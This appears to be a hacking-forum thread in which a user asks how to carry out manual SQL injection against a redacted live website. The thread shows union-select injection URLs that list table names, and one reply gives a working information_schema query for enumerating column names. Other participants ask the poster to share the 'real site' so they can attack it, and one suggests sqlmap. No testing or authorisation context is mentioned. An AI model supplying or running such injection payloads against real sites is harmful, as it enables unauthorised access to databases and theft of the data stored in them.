[SecureHatz]

Hello everyone.

I find tables name when i using manuel sql injection.

http: //xxx. xx /?id=10171%27and+0+union+select+table_name,2,3,4,5,6,7,8,9,10,11 - Pastebin.com

I've come this far. Table name writes on the screen. But I'm having trouble finding the column names.

When I trying to :

http: //xxx. xx /?id=10171%27and+0+union+select+column_name,2,3,4,5,6,7,8,9,10,1 - Pastebin.com

You have an error in your SQL syntax..

How I can find columns_name ? Anyone can help me?

Thanks

[Error22]

drop real site so we check it

[powerkami]

did you try sqlmap ,you can get

[SecureHatz]

drop real site so we check it

I sent you pm bro

did you try sqlmap ,you can get

I tried but did not

[ajkaro_lover]

Poor advice for all. Think through the problem, like the greats used to.

Its clear from your error that you are asking for something that it cannot provide.

Code

...  select column_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.columns where table_schema not like information_schema and table_name='tablenamehere'
...

cleaned up equals

Code

SELECT column_name FROM information_schema.columns WHERE table_schema NOT LIKE information_schema AND table_name = 'tablenamehere'

Looking at this statement, we are asking the database to exclude any tables that have 'information_schema' as their table schema and only show the columns for the table 'tablenamehere'.

The issue is that the statement is overkill. Asking the server to only show columns with table_name 'tablenamehere' would effectively complete the job and will not error.

Reference regarding Information_schema - dev.mysql.com/doc/refman/5.7/en/columns-table.html

Top tip - Break down each statement and understand specifically what you are asking for. Do not be scared to try out commands here (sqlfiddle.com/) and read the specs (dev.mysql.com/doc/)

Good luck

[SecureHatz]

Poor advice for all. Think through the problem, like the greats used to.

Its clear from yourerror that you are asking for something that it cannot provide.

Code

...  select column_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.columns where table_schema not like information_schema and table_name='tablenamehere'
...

cleaned up equals

Code

SELECT column_name FROM information_schema.columns WHERE table_schema NOT LIKE information_schema AND table_name = 'tablenamehere'

Looking at this statement, we are asking the database to exclude any tables that have 'information_schema' as their table schema and only show the columns for the table 'tablenamehere'.

The issue is that the statement is overkill. Asking the server to only show columns with table_name 'tablenamehere' would effectively complete the job and will not _error_.

Reference regarding Information_schema - dev.mysql.com/doc/refman/5.7/en/columns-table.html

Top tip - Break down each statement and understand specifically what you are asking for. Do not be scared to try out commands here (sqlfiddle.com/) and read the specs (dev.mysql.com/doc/)

Good luck

Can you give an example ? Thank you for interest bro. I try some commands but I get sytnax error.

[Error22]

I sent you pm bro


I tried but did not

i dint get ur pm dear drop site